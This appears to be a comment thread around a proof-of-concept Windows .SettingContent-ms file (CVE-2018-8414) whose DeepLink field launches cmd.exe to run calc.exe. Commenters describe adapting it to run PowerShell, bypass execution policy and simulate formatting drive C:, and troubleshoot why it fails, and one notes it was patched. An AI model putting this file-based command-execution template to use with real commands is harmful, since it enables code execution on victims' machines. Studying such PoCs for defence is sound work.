test.SettingContent-ms

<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
    <ApplicationInformation>
      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
      <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>
      <Icon>%windir%\system32\control.exe</Icon>
    </ApplicationInformation>
    <SettingIdentity>
      <PageID></PageID>
      <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
    </SettingIdentity>
    <SettingInformation>
      <Description>@shell32.dll,-4161</Description>
      <Keywords>@shell32.dll,-4161</Keywords>
    </SettingInformation>
  </SearchableContent>
</PCSettings>

I have used the above code to run PowerShell, bypass execution policy, and run a simulated format on drive C: See my link below.
https://github.com/bvoris/SettingContent-MS-File-Execution/

When I try the POC, I get the following message: "Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item."

I can manually run %windir%\system32\cmd.exe /c calc.exe
I can manually run %windir%\system32\control.exe
I have verified that the HostID guid is the same as other native settingcontent-ms files on my computer.
I have verified that the AppID value is the same as other native settingcontent-ms files on my computer.

I am not local admin on my machine. Is admin required? Other things I am doing wrong?

I have the same problem as unhackn

That would be because it was patched with CVE-2018-8414